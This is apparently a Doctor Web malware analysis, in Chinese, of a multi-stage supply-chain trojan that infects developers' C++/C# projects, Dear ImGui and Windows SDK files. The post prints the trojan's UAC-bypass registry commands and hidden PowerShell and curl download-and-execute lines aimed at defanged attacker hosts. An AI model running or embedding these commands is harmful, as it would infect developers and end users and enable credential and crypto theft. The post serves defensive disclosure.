瞄准开发商:新型木马通过供应链感染电脑造成多重损害

Hot news | Doctor Web公司新闻 | 病毒新闻

我公司反病毒实验室专家对一种新型木马程序进行了研究。这一新威胁属于供应链攻击(supply chain attack),其显著特征是针对使用C++和C#编程语言项目,另一特征为危险性极高,多种破坏因素组合出击,可同时执行多项恶意功能:信息窃取、剪贴板劫持、后门、挖矿以及成为文件感染源。

该木马传播首批案例出现在2025年第四季度,此后攻击者持续对其进行修改,主要通过互联网经由被感染的.exe和Python文件传播。感染过程分为多个阶段,接下来我们将逐一分析各阶段流程及其目的。

阶段1:Trojan.DownLoader49.35384

Doctor Web专家发现大量被感染的合法应用程序具有相似结构:其原始可执行文件中被添加了一个全局对象,木马化应用开始执行时都利用PEB walking方法获取系统API访问权限。随后标准函数initterm遍历函数指针表并将其初始化,而其中一个函数为恶意函数,用于启动PowerShell命令。某些木马版本中该载荷进行了加密。

通过initterm启动

PowerShell命令下载并执行恶意文件 Trojan.DownLoader49.35687,也就是启动第二阶段。

恶意PowerShell命令

除可执行文件外,还发现了一些Python文件(Python.Downloader.255)。这些文件中包含相同的恶意代码,通过Fernet对称加密机制加密,并使用了简单的混淆手段(第一行大量空格)。此类情况同样分多个阶段执行。

恶意Python文件

阶段2:Trojan.DownLoader49.35687

在此阶段木马 Trojan.DownLoader49.35687 首先检测自身运行环境是否是沙箱。此外会创建名为Global\PFNMX(固定值)的同步对象mutex,例如:\Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008。木马通过这种方式来检查电脑上是否已有其他副本在运行。

第二阶段木马还尝试通过公共代码仓库GitHub和游戏平台Steam获取C2服务器地址。攻击者在上述平台存储相应域名,木马读取后用于下载第三阶段负载,也就是木马 BackDoor.Siggen2.5906

攻击者创建的Steam账号包含明文域名。

包含C2域名的Steam账号

在GitHub上C2域名则是以加密的raw文件形式保存:raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine。木马下载该文件后先通过Base64解密,再使用密钥ZwFlushKey进行XOR解密。

加密域名

下载后,Trojan.DownLoader49.35687 将其注入到C:\Windows\System32目录下41个预置可执行文件中的一个文件。

如C2域名能够成功连接,地址就会添加到木马内置的硬编码字符串中,并通过命名管道pipe\VccFramework传递给下一阶段。

阶段3:BackDoor.Siggen2.5906

此阶段执行主要的恶意活动。BackDoor.Siggen2.5906 创建名为Global\PFNX_Side(固定值)的同步对象mutex。随后通过此前创建的管道从第二阶段获取数据,从中提取木马标识符以及 BackDoor.Siggen2.5906 进行通信的C2域名。

为达到在系统中持久驻留的目的,木马会下载文件“bungee.boo”(该文件执行阶段2的功能——Trojan.DownLoader49.35687),并替换以下DLL文件:

  • Discord应用程序的“profapi.dll”;
  • Microsoft Edge应用程序“Domain Actions”文件夹中的“domain_actions.dll”及“Well Known Domains”文件夹中的“well_known_domains.dll”;
  • “C:\Windows\omadmapi.dll”。

此外,BackDoor.Siggen2.5906 还可修改Windows系统注册表,以便在通过WinRar.exe打开压缩文件时会启动恶意代码。

木马使用UAC绕过技术来执行需要管理员权限的操作:生成一个由随机数字命名的.vbs文件,并在其中写入以管理员权限执行的命令。随后通过cmd.exe运行以下命令:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

随后木马就能实施5类恶意功能:信息窃取、剪贴板劫持、后门、挖矿和成为文件感染源。

信息窃取

木马能够窃取多种信息:

  • Discord令牌,用于无需输入用户名/密码即可登录他人账户;
  • 来自Chrome、Edge、Opera、Brave、Yandex等浏览器的密码和Cookie。除常规数据提取技术外,还利用CCCWF.tmp文件(Trojan.PWS.Siggen5.33623),将其注入浏览器后读取密码并保存至文本文件;
  • Telegram Desktop文件夹;
  • Exodus加密货币钱包文件夹。

除窃取Exodus钱包文件夹外,木马还会修改加密货币钱包。具体方法是找到app.asar文件,将其替换为通过curl从balista[.]lol/Stb/PokerFace/RTApp[.]txt下载的副本。替换版本中的index.js文件(Trojan.Siggen32.44702)内包含unlock()函数,钱包启动时该函数会将助记词短语发送至攻击者服务器。

被替换的index.js文件

剪贴板劫持器

这是该木马极具危险性的功能之一。恶意程序会持续监控用户剪贴板:查找银行卡数据并发送至攻击者服务器。同时,木马还会将加密货币钱包地址替换为从C2服务器获取的虚假地址。

后门

这一功能让攻击者能够通过以下命令远程控制被感染的电脑:

exc利用curl从URL下载文件并执行
RVRS启动反向代理(Reverse Proxy)
RUNCMD通过cmd运行命令
GETFILE将指定文件内容上传至控制服务器
LISTDIR将电脑中指定目录下的文件列表发送至控制服务器
TROLL执行骚扰用户的命令,选项包括:earrape、scary_sound、rickroll、mute_audio、jumpscare_screamer等

挖矿程序

木马通过curl从服务器下载并执行文件https://files[.]catbox[.]moe/lvh9j3[.]bin — Trojan.Packed2.50953。其结构与行为类似前面描述的阶段2,区别在于下载并注入的是 Trojan.BtcMine.3956 而非 BackDoor.Siggen2.5906。这个挖矿程序只会在用户设备闲置一定时间后才会启动。恶意程序使用开源工具 XMRigT-RexTeamRedMiner

感染文件

新木马最显著的特征在于会感染文件并进一步自我传播。被感染的文件列表包括:

  • imgui_impl_win32.cpp,
  • .suo,
  • .exe,
  • winnetwk.h (Windows SDK),
  • .vcxproj 和 .csproj.

木马通过遍历磁盘并执行命令来定位可感染文件的路径,以A盘为例:

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

攻击者的意图在于,包含恶意代码的应用开发者会公开发布。其他开发者在构建、编译或修改这些项目时会因.suo、.vcxproj和.csproj文件而自动感染其自身的电脑,而被入侵的开发工具所创建的可执行文件已被感染,普通用户一旦运行其设备也就会被感染。

imgui_impl_win32.cpp. Trojan.Loader.3129

imgui_impl_win32.cpp是常用C++图形界面库Dear ImGui的组成部分。木马在该文件中注入两行代码:第一行包含载荷,第二行启动该载荷。

含载荷的代码行

启动载荷的代码行

最终执行的命令为:


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }" 

这个库被感染后,其使用者创建的任何C++应用程序都将包含恶意代码。而此类应用程序分发或下载就会使感染进一步扩散。

.suo. Trojan.Loader.3138

是Microsoft Visual Studio开发环境的文件扩展名,用于存储特定项目的用户配置。木马将原始文件替换为从C2获取的被感染文件。

被感染文件

其结果是在Visual Studio中打开项目时,恶意代码就会启动:


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

winnetwk.h. Trojan.Loader.3184

Windows SDK 是Microsoft官方开发工具包,用于创建Windows操作系统应用程序。

木马通过注册表找到Windows SDK安装目录,在其中搜索负责网络资源操作的winnetwk.h文件,然后添加恶意代码。

被感染的winnetwk.h文件

此后,所有使用winnetwk.h创建的程序都将包含会启动阶段2的恶意代码。

.exe文件

木马搜索合适的.exe文件,向其中注入API初始化函数和initterm启动函数。随后该文件就开始充当 Trojan.DownLoader49.35384(即阶段1)。

.vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) 和 .csproj (Trojan.Loader.3126)文件

这些是Visual Studio的C++和C#项目文件。木马在其中添加在每次项目构建前执行的PreBuildEvent命令。早期版本的木马添加的代码与阶段1类似。

早期版本代码

在新版本中,代码进行了混淆,变得更加复杂。

新版本代码

执行Trojan.Loader.3128的一个阶段

恶意命令执行后,会写入一个恶意的.vbs文件,由这个文件启动PowerShell载荷。木马会向以下URL发起请求:

  • youtu.be/akoxddx6lgc,
  • steamcommunity.com/profiles/76561198737324192.

这些地址上存储的是另一个经base64加密的URL。

包含加密URL的YouTube账号

解密后,木马获得C2域名,并向其请求下载与阶段2类似的载荷。

对新木马工作原理的分析表明,由于木马融合了多项恶意功能,危害程度极高。为避免电脑感染及木马进一步传播,建议定期更新反病毒数据库并检查所有从互联网下载的文件。Dr.Web反病毒产品能够可靠侦测并清除这一新威胁,.vcxproj、.csproj和imgui等类型文件中的恶意代码也可被清除,因此Dr.Web Security Space和Dr.Web Desktop Security Suite反病毒产品的用户无需担忧。

0
最新新闻 全部新闻